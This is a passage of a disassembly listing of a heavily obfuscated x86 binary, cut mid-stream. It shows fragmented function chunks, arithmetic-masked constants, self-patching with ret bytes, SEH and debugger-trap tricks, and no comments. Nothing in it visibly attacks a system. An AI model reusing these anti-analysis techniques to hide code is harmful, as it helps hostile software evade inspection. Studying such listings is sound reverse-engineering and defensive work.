; FUNCTION CHUNK AT 00448E03 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044DCDB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00450117 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453C0E SIZE 00000005 BYTES

		push	edx
		mov	edx, ebp
		xchg	edx, [esp+0]

loc_44A209:				; CODE XREF: dviuq5id:loc_44D04Bj
		mov	ebp, esp
		jb	sub_446B93
		add	esp, 0FFFFFFE0h
		jmp	loc_450117
sub_44A203	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_44A219:				; CODE XREF: sub_441C84:loc_44AF1Aj
		xor	edx, 440D064Bh
		add	edx, ebp

loc_44A221:				; CODE XREF: dviuq5id:0043D404j
		push	offset loc_44CD3F
		jmp	nullsub_180
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------
		cmp	edi, ebp
		jmp	loc_446C3B
; ---------------------------------------------------------------------------

loc_44A232:				; DATA XREF: dviuq5id:loc_442FFCo
		mov	ds:off_41D0AC, eax
		lea	eax, sub_446181
		mov	byte ptr [eax],	0C3h
		jmp	loc_44404C

; =============== S U B	R O U T	I N E =======================================



sub_44A246	proc near		; CODE XREF: sub_41088C+9Bp
					; sub_459545-6A95j
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004586FA SIZE 00000018 BYTES

		push	edx
		push	78DE534h
		jmp	loc_4586FA
sub_44A246	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C50A

loc_44A251:				; CODE XREF: sub_44C50A-8918j
		mov	esi, [ebx]

loc_44A253:				; CODE XREF: sub_443354:loc_4524D8j
		jmp	loc_44ECE9
; END OF FUNCTION CHUNK	FOR sub_44C50A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443354

loc_44A258:				; CODE XREF: sub_443354+Aj
		jns	loc_44AB15
		lea	eax, [ebp-0Ch]
		push	eax
		jmp	loc_44D2B6
; END OF FUNCTION CHUNK	FOR sub_443354
; ---------------------------------------------------------------------------
		mov	eax, 510AEA73h
		call	sub_453642
		mov	ds:dword_41D120, eax
		call	sub_450350

loc_44A27C:				; DATA XREF: dviuq5id:00459CBBo
		push	edx
		call	sub_4411B8
		mov	eax, 3E69A3C2h
		push	ebx
		push	696B2765h
		pop	ebx
		jmp	loc_456301
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443A0A

loc_44A293:				; CODE XREF: sub_443A0A+8B63j
		jnz	loc_454845

loc_44A299:				; CODE XREF: sub_44C20F+C7D3j
		jmp	sub_44C20F
; END OF FUNCTION CHUNK	FOR sub_443A0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45844D

loc_44A29E:				; CODE XREF: sub_45844D-D11Cj
		jmp	loc_44933D
; END OF FUNCTION CHUNK	FOR sub_45844D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_44A2A3:				; CODE XREF: sub_43EB11:loc_440C5Cj
		jmp	nullsub_197
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
		xchg	edi, [ebx]
		and	ebx, 0ECC5B467h
		xor	ebx, edi
		jmp	loc_454839
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_269. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453916

loc_44A2B8:				; CODE XREF: sub_453916+19j
		jmp	loc_444186
; END OF FUNCTION CHUNK	FOR sub_453916
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_44A2BD:				; CODE XREF: sub_44B2EA-2E16j
		jmp	nullsub_340
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E99

loc_44A2C2:				; CODE XREF: sub_440E99+34EFj
		jmp	loc_444069
; END OF FUNCTION CHUNK	FOR sub_440E99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_44A2C7:				; CODE XREF: sub_445437-6B2Dj
		jmp	loc_44062A
; END OF FUNCTION CHUNK	FOR sub_445437

; =============== S U B	R O U T	I N E =======================================



sub_44A2CC	proc near		; CODE XREF: sub_43F1D6+153CBj

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043AA2A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044013C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 004438FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447CE2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004486D6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00451D9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452EA5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004546FF SIZE 00000005 BYTES

		push	ebx
		push	0FA7D9270h
		pop	ebx
		and	ebx, 0A62D870Eh
		test	ebx, 1000h
		jmp	loc_451D9E
sub_44A2CC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_44A2E4:				; CODE XREF: sub_43C4B5:loc_4487CDj
		add	edx, 0D05952DFh
		xchg	edx, [esp+0]
		jmp	nullsub_3
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
		push	esi
		push	888712FFh
		jmp	loc_44E197
; ---------------------------------------------------------------------------

loc_44A2FD:				; DATA XREF: dviuq5id:00453359o
		call	sub_453642

loc_44A302:				; CODE XREF: dviuq5id:00459322j
		mov	ds:dword_41D15C, eax
		call	sub_453603

; =============== S U B	R O U T	I N E =======================================



sub_44A30D	proc near		; DATA XREF: sub_446CFB:loc_459F0Do

; FUNCTION CHUNK AT 004591CC SIZE 00000005 BYTES

		push	ebp
		push	offset loc_440124
		jmp	loc_4591CC
sub_44A30D	endp


; =============== S U B	R O U T	I N E =======================================



sub_44A318	proc near		; DATA XREF: sub_4442C5-9467o
		pop	edi
		mov	ds:dword_4544FC, eax
sub_44A318	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_44A31F:				; CODE XREF: sub_44A15A:loc_44438Dj
					; sub_44A15A+Ej
		jnb	loc_456E81
		push	edx
		push	1B6247FAh
		pop	edx
		or	edx, 9875792Eh

loc_44A332:				; CODE XREF: sub_43D53C+1154Fj
		add	edx, 0A4940DC0h
		jmp	loc_43D2DA
; END OF FUNCTION CHUNK	FOR sub_44A15A

; =============== S U B	R O U T	I N E =======================================



sub_44A33D	proc near		; CODE XREF: sub_44797B+9j

; FUNCTION CHUNK AT 00439E27 SIZE 00000005 BYTES

		add	esp, 0FFFFFED0h
		mov	[ebp-0Ch], ecx
		mov	[ebp-6], dx
		mov	[ebp-4], eax
		push	offset loc_457ABC
		jmp	loc_439E27
sub_44A33D	endp

; ---------------------------------------------------------------------------

loc_44A357:				; CODE XREF: dviuq5id:0044B7FEj
		call	sub_453642
		push	ebx
		push	offset sub_439C8C
		jmp	loc_442D66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_44A367:				; CODE XREF: sub_43C710:loc_44506Dj
					; dviuq5id:00445087j
		add	eax, 499DEC88h
		or	eax, 685C7B5h
		xor	eax, 8F3DDAB8h
		push	edx
		jmp	loc_43A043
; END OF FUNCTION CHUNK	FOR sub_43C710
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_44A37F:				; CODE XREF: sub_446682+C76Dj
		jz	loc_445743
		cmp	esi, 7B934B3Fh

loc_44A38B:				; CODE XREF: dviuq5id:loc_44C9B5j
		jmp	loc_445739
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD27

loc_44A390:				; CODE XREF: sub_44BD27-50Cj
		and	ecx, ds:4000F5h
		add	ecx, 0A8108023h
		call	sub_44A102
; END OF FUNCTION CHUNK	FOR sub_44BD27
; START	OF FUNCTION CHUNK FOR sub_43B89D

loc_44A3A1:				; CODE XREF: sub_43B89D+92F7j
		jmp	loc_449BD1
; END OF FUNCTION CHUNK	FOR sub_43B89D
; ---------------------------------------------------------------------------

loc_44A3A6:				; CODE XREF: dviuq5id:00440084j
		xchg	edi, [ebp+0]
		shr	ebx, 0Eh

loc_44A3AC:				; CODE XREF: dviuq5id:loc_44007Cj
		xor	eax, 4D9D61DFh
		cmp	eax, 0F847F21Bh
		jmp	loc_44B3CD
; ---------------------------------------------------------------------------

loc_44A3BD:				; CODE XREF: dviuq5id:0044A698j
		push	ebx
		push	offset loc_45298A
		jmp	locret_452F46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443222

loc_44A3C8:				; CODE XREF: sub_443222+125FCj
		mov	byte ptr [eax+edx], 0
		push	offset sub_44ADB3
		jmp	nullsub_494
; END OF FUNCTION CHUNK	FOR sub_443222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441903

loc_44A3D6:				; CODE XREF: sub_441903:loc_440A27j
		mov	ecx, eax
		pop	eax
		xor	eax, eax

locret_44A3DB:				; CODE XREF: dviuq5id:00450761j
		retn
; END OF FUNCTION CHUNK	FOR sub_441903
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442994

loc_44A3DC:				; CODE XREF: sub_442994+7j
		jmp	nullsub_475
; END OF FUNCTION CHUNK	FOR sub_442994

; =============== S U B	R O U T	I N E =======================================



sub_44A3E1	proc near		; DATA XREF: sub_43F9BC-4CFCo
					; dviuq5id:004513F8o

; FUNCTION CHUNK AT 0044F5A6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004555FB SIZE 00000005 BYTES

		pop	large dword ptr	fs:0
		jmp	loc_4555FB
sub_44A3E1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44A3ED:				; CODE XREF: dviuq5id:00441E25j
		jnz	loc_44F484
		jmp	loc_44DA24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442913

loc_44A3F8:				; CODE XREF: sub_442913-44CDj
					; dviuq5id:loc_44B82Ej
		jno	locret_449739

loc_44A3FE:				; CODE XREF: sub_442913:loc_440658j
		or	edx, 0F65DD0D9h
; END OF FUNCTION CHUNK	FOR sub_442913
; START	OF FUNCTION CHUNK FOR sub_4534AA

loc_44A404:				; CODE XREF: sub_4534AA:loc_45828Ej
		and	edx, 9C7E8607h
		or	edx, 50246152h
		xor	edx, 0B16796A1h
		add	edx, ebp
		add	edx, 9AE68BFEh
		jmp	loc_4556BF
; END OF FUNCTION CHUNK	FOR sub_4534AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C4E2

loc_44A423:				; CODE XREF: sub_44C4E2:loc_44C4FFj
		push	esi
		mov	esi, edi
		xchg	esi, [esp+0]
		push	edx
		pop	edi
		xchg	edi, [esp+0]
		call	sub_43C46D
		jmp	loc_439ECF
; END OF FUNCTION CHUNK	FOR sub_44C4E2

; =============== S U B	R O U T	I N E =======================================



sub_44A438	proc near		; CODE XREF: sub_44549E+126E1p

arg_0		= dword	ptr  4

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	eax, [esp-4+arg_0]
		push	edi
		push	3BFCAB84h
		pop	edi
		jmp	loc_446A4E
sub_44A438	endp

; ---------------------------------------------------------------------------

loc_44A44B:				; CODE XREF: dviuq5id:0043D8ECj
		pop	edi

; =============== S U B	R O U T	I N E =======================================



sub_44A44C	proc near		; CODE XREF: sub_453D79-262Dp

; FUNCTION CHUNK AT 0044AB34 SIZE 00000018 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xor	eax, 0CF1E80C8h
		push	ecx
		pushf
		push	47F1962h
		jmp	loc_44AB34
sub_44A44C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440576

loc_44A462:				; CODE XREF: sub_440576:loc_44A066j
		mov	[esi], eax
		pop	esi
		push	51EDA8C2h
		xchg	edx, [esp+0]
		jmp	loc_43C1B9
; END OF FUNCTION CHUNK	FOR sub_440576
; ---------------------------------------------------------------------------
		mov	ds:off_41D118, eax
		lea	eax, sub_459DA3
		mov	byte ptr [eax],	0C3h
		jmp	sub_459DA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459DA3

loc_44A486:				; CODE XREF: sub_459DA3:loc_44EBA4j
		mov	eax, [esp+4+var_4]
		push	edx
		call	sub_45A310
		jmp	loc_450C2C
; END OF FUNCTION CHUNK	FOR sub_459DA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_44A494:				; CODE XREF: sub_445437+983Bj
		mov	esi, ecx
		xchg	esi, [esp+0]
		push	377F8D10h

loc_44A49E:				; CODE XREF: sub_4437F7+14363j
		xchg	eax, [esp+4+var_4]
		mov	ecx, eax
		jmp	loc_43E8F1
; END OF FUNCTION CHUNK	FOR sub_445437
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_198. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_334. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44A4AA:				; CODE XREF: dviuq5id:0044599Dj
		jmp	loc_446B33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_44A4AF:				; CODE XREF: sub_439C09:loc_441F0Bj
		jz	loc_457446

loc_44A4B5:				; CODE XREF: sub_442C3A+7j
		jmp	loc_440CFB
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
		cmp	ecx, ebp
		jmp	loc_4450C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44A4C1:				; CODE XREF: sub_43FA59+18D28j
		jz	loc_43C974
		jmp	loc_454B4D
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		push	31E0D7B5h
		push	ebx
		push	5436AB3Eh
		pop	ebx
		jmp	loc_4533C3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A4E3	proc near		; CODE XREF: sub_4559CE-4A0p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439B41 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00439DB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FDCD SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004427EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444F03 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004461BC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044E542 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453B72 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0045867F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045A5A3 SIZE 00000005 BYTES

		push	esi
		mov	esi, ebp
		xchg	esi, [esp+0]
		mov	ebp, esp
		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp+0]
		mov	esp, ebp
		jmp	loc_4461BC
sub_44A4E3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_44A4F8:				; CODE XREF: sub_451B18:loc_439254j
		call	sub_44E206
		pop	ecx
		mov	[ebp-20h], eax
; END OF FUNCTION CHUNK	FOR sub_451B18
; START	OF FUNCTION CHUNK FOR sub_4489E1

loc_44A501:				; CODE XREF: sub_451B18-F437j
					; sub_4489E1+Dj ...
		jo	loc_4595A0
		jmp	loc_447873
; END OF FUNCTION CHUNK	FOR sub_4489E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D45B

loc_44A50C:				; CODE XREF: sub_44D45B:loc_456CF1j
		jz	sub_44EEAA
		jmp	loc_458943
; END OF FUNCTION CHUNK	FOR sub_44D45B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_44A517:				; CODE XREF: sub_43C2DA+8756j
		jge	loc_43D457
		popf

loc_44A51E:				; CODE XREF: sub_43C2DA:loc_43CB9Fj
		push	eax
		push	7FC9B125h
		jmp	loc_444AAC
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_44A529:				; CODE XREF: sub_44514D+DCB3j
		jl	loc_4561FC
		and	ebx, 0D1D55FF6h
		jmp	loc_4509D4
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
		add	edi, 0EAD3D737h
; START	OF FUNCTION CHUNK FOR sub_44F9EE

loc_44A540:				; CODE XREF: sub_44F9EE:loc_45A226j
		xchg	esi, ecx
		jmp	sub_44ABAE
; END OF FUNCTION CHUNK	FOR sub_44F9EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457B95

loc_44A547:				; CODE XREF: sub_457B95:loc_4479A6j
		mov	ds:dword_44A568, edx
; END OF FUNCTION CHUNK	FOR sub_457B95
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_44A54D:				; CODE XREF: sub_43C4B5+B6FCj
					; sub_43C4B5+C776j
		xchg	eax, edx
		call	sub_449EB7
		retn
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448D5E

loc_44A554:				; CODE XREF: sub_448D5E+1j
		jmp	loc_443F6B
; END OF FUNCTION CHUNK	FOR sub_448D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6B8

loc_44A559:				; CODE XREF: sub_43A6B8+DEDEj
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_43A6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_44A55E:				; CODE XREF: sub_43FAE1+6j
		jmp	loc_43DD22
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_44A563:				; CODE XREF: sub_441C84:loc_43EAB7j
		jmp	sub_451BB7
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------
dword_44A568	dd 0			; DATA XREF: sub_43C4B5:loc_448C23r
					; sub_457B95:loc_44A547w
; ---------------------------------------------------------------------------

loc_44A56C:				; CODE XREF: dviuq5id:004565F3j
		jmp	sub_43A201
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446CFB

loc_44A571:				; CODE XREF: sub_446CFB+5852j
		jmp	loc_448FDA
; END OF FUNCTION CHUNK	FOR sub_446CFB
; ---------------------------------------------------------------------------

loc_44A576:				; CODE XREF: dviuq5id:0044812Cj
		jmp	loc_43A637
; ---------------------------------------------------------------------------
		db 26h
; ---------------------------------------------------------------------------

loc_44A57C:				; DATA XREF: sub_43C4B5-B51o
					; sub_4520DC:loc_4520E2o
		stosb
		push	ebx
		push	esp
		dec	edx
		int	3		; Trap to Debugger
		and	ecx, [ebx+1BB132h]
; START	OF FUNCTION CHUNK FOR sub_43D83D

loc_44A587:				; CODE XREF: sub_43D83D+14E44j
		jmp	loc_449789
; END OF FUNCTION CHUNK	FOR sub_43D83D

; =============== S U B	R O U T	I N E =======================================



sub_44A58C	proc near		; CODE XREF: sub_441DDA:loc_43A58Cj
					; sub_44F9FB:loc_43AFF8j ...

; FUNCTION CHUNK AT 0044848F SIZE 00000005 BYTES

		push	offset sub_456B31
		jmp	loc_44848F
sub_44A58C	endp

; ---------------------------------------------------------------------------
		test	ebp, ecx
		jmp	loc_44F16E
; ---------------------------------------------------------------------------
		adc	ebx, 38C3C1E3h
		jmp	loc_43FAE0

; =============== S U B	R O U T	I N E =======================================



sub_44A5A8	proc near		; CODE XREF: dviuq5id:004458BCj
					; sub_442FBA:loc_455825p

; FUNCTION CHUNK AT 0043CB62 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004428AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004482E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004527BF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456BDD SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		pop	ebx
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_452033
		jmp	loc_4482E5
sub_44A5A8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4559CE

loc_44A5BE:				; CODE XREF: sub_4559CE-11D5Fj
					; dviuq5id:004442EFj
		jnz	loc_43ECEF

loc_44A5C4:				; CODE XREF: sub_4559CE+39FDj
		add	esi, 0FFFEEBB7h
		xchg	esi, [esp-4+arg_0]
		push	0
		push	ebx
		push	0DAABC20Ah
		jmp	loc_45812A
; END OF FUNCTION CHUNK	FOR sub_4559CE
; ---------------------------------------------------------------------------

loc_44A5DA:				; CODE XREF: dviuq5id:00457F6Ej
		jnz	loc_43C8CC
; START	OF FUNCTION CHUNK FOR sub_43B24C

loc_44A5E0:				; CODE XREF: sub_43B24C+10CE7j
		jmp	loc_449FBD
; END OF FUNCTION CHUNK	FOR sub_43B24C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_44A5E5:				; CODE XREF: sub_44BD0B:loc_446145j
		pop	edx
		sub	eax, 847FE0BEh
		xor	eax, 0D7E48B18h
		test	eax, 20h
		jmp	loc_44C0AB
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_44A5FD:				; CODE XREF: sub_43AEAA+223Fj
		mov	edi, [ecx]
		jmp	loc_4458C2
; END OF FUNCTION CHUNK	FOR sub_43AEAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443222

loc_44A604:				; CODE XREF: sub_443222:loc_43F739j
		mov	eax, ds:dword_44DF0C
		mov	edx, [ebp-4]
		mov	byte ptr [eax+edx], 0
		call	sub_443222
; END OF FUNCTION CHUNK	FOR sub_443222

; =============== S U B	R O U T	I N E =======================================



sub_44A615	proc near		; CODE XREF: sub_439C8C:loc_43B5B0p
					; dviuq5id:00444A25j

; FUNCTION CHUNK AT 00450229 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		lea	eax, sub_44358D
		push	offset loc_4479E8
		jmp	loc_450229
sub_44A615	endp

; ---------------------------------------------------------------------------
		push	0C0D85DF9h
		pop	eax
		and	eax, 6FDA308Ch
		rol	eax, 4
		xor	eax, 0D90EBD8h
		call	sub_453642
		jmp	loc_43BADC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_418. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44A649:				; CODE XREF: dviuq5id:loc_44C2CDj
		jmp	loc_4597A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44875D

loc_44A64E:				; CODE XREF: sub_44875D:loc_44BA76j
		mov	esi, ebx
		pop	ebx
		mov	edx, [esp-8+arg_4]
		call	sub_4583FB

loc_44A659:				; CODE XREF: sub_43E487+157FDj
		jmp	loc_4499EC
; END OF FUNCTION CHUNK	FOR sub_44875D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_44A65E:				; CODE XREF: sub_446A9C:loc_43D134j
		pop	edx
		call	sub_448EFB

loc_44A664:				; CODE XREF: sub_43BD72+1CA8Aj
		jmp	loc_44E4CA
; END OF FUNCTION CHUNK	FOR sub_446A9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_44A669:				; CODE XREF: sub_44514D+B30Cj
		jmp	sub_457724
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_44A66E:				; CODE XREF: sub_449485:loc_44949Ej
		jnz	loc_442F93
		jmp	loc_4522CA
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452E2A

loc_44A679:				; CODE XREF: sub_452E2A:loc_439E59j
		add	ebx, ebp
		add	ebx, 0B7A70E87h
		mov	[ebx], eax

loc_44A683:				; CODE XREF: dviuq5id:loc_43B806j
		pop	ebx
		jmp	loc_4552AD
; END OF FUNCTION CHUNK	FOR sub_452E2A
; ---------------------------------------------------------------------------

loc_44A689:				; CODE XREF: dviuq5id:00450F8Ej
		inc	ds:dword_448954
		lea	eax, nullsub_18
		mov	byte ptr [eax],	0C3h
		jmp	loc_44A3BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458BA4

loc_44A69D:				; CODE XREF: sub_458BA4:loc_44D838j
					; sub_458BA4-80BCj
		call	sub_4446E7

loc_44A6A2:				; CODE XREF: dviuq5id:004456BBj
		adc	ebx, ecx
; END OF FUNCTION CHUNK	FOR sub_458BA4

; =============== S U B	R O U T	I N E =======================================



sub_44A6A4	proc near		; CODE XREF: sub_443328:loc_43A30Ep

; FUNCTION CHUNK AT 00441694 SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_441694
sub_44A6A4	endp

; ---------------------------------------------------------------------------

locret_44A6B2:				; CODE XREF: dviuq5id:loc_451914j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_44A6B3:				; CODE XREF: sub_43FAE1+19C0Aj
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFA5

loc_44A6B8:				; CODE XREF: sub_43EFA5+E19Ej
		jmp	loc_4480F1
; END OF FUNCTION CHUNK	FOR sub_43EFA5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_498. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44A6BE:				; CODE XREF: dviuq5id:00457FF3j
		jl	locret_452F46
		jb	loc_444082
		and	esi, ecx
		jmp	loc_452B20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A101

loc_44A6D1:				; CODE XREF: sub_43A101:loc_443714j
		call	sub_444466
		call	sub_459BAC

loc_44A6DB:				; CODE XREF: sub_45A587+Cj
		jmp	nullsub_392
; END OF FUNCTION CHUNK	FOR sub_43A101
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454EDD

loc_44A6E0:				; CODE XREF: sub_454EDD+Bj
		jmp	loc_448FF5
; END OF FUNCTION CHUNK	FOR sub_454EDD
; ---------------------------------------------------------------------------

loc_44A6E5:				; CODE XREF: dviuq5id:004537E2j
		jmp	sub_441C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_44A6EA:				; CODE XREF: sub_44E67F+6j
		push	0A68B1F87h
		pop	ebx
		xor	ebx, 0E7C700BBh
		sub	ebx, 5D8DA534h
		rol	ebx, 1Bh
		and	ebx, 74E74D6Ch
		test	ebx, 2000h

loc_44A70B:				; CODE XREF: sub_454228-EB66j
		jmp	loc_43FE5B
; END OF FUNCTION CHUNK	FOR sub_44E67F
; ---------------------------------------------------------------------------

loc_44A710:				; DATA XREF: sub_444466+12C9o
		rol	eax, 0Bh
		push	edx
		mov	edx, ecx
		xchg	edx, [esp]
		push	0E24DDCC8h
		pop	ecx
		sub	ecx, 8E00C941h
		add	ecx, 5BFD0E06h
		jmp	loc_443F22
; ---------------------------------------------------------------------------

loc_44A730:				; CODE XREF: dviuq5id:004467BDj
		push	edx
		call	sub_4411B8
		xor	eax, ecx
		jmp	loc_43B632
; ---------------------------------------------------------------------------

loc_44A73D:				; CODE XREF: dviuq5id:0043B27Cj
		push	esi
		push	0E76FEF2Eh
		pop	esi
		or	esi, 55C1CACh
		jnz	loc_45006E
; START	OF FUNCTION CHUNK FOR sub_440A7F

loc_44A750:				; CODE XREF: sub_440A7F+19BE3j
		jmp	nullsub_15
; END OF FUNCTION CHUNK	FOR sub_440A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_44A755:				; CODE XREF: sub_454117-127B9j
		jmp	loc_44EEBF
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------
		or	esi, 7F30B60Fh
		jmp	loc_45005F

; =============== S U B	R O U T	I N E =======================================



sub_44A765	proc near		; CODE XREF: dviuq5id:004390ECp
					; dviuq5id:0045475Cj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004408CC SIZE 00000010 BYTES

		xchg	esi, [esp+0]
		pop	esi
		call	sub_453642
		push	ecx
		jmp	loc_4408CC
sub_44A765	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441B05

loc_44A775:				; CODE XREF: sub_441B05-6A71j
		jmp	sub_45A04B
; END OF FUNCTION CHUNK	FOR sub_441B05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_44A77A:				; CODE XREF: sub_43F2CB+1B36j
					; sub_451B18:loc_4482A4j
		push	ecx
		push	2A5DB97Ah
		pop	ecx
		sub	ecx, 6F5136EAh
		xor	ecx, 0A35DABh
		add	ecx, 3504283Eh
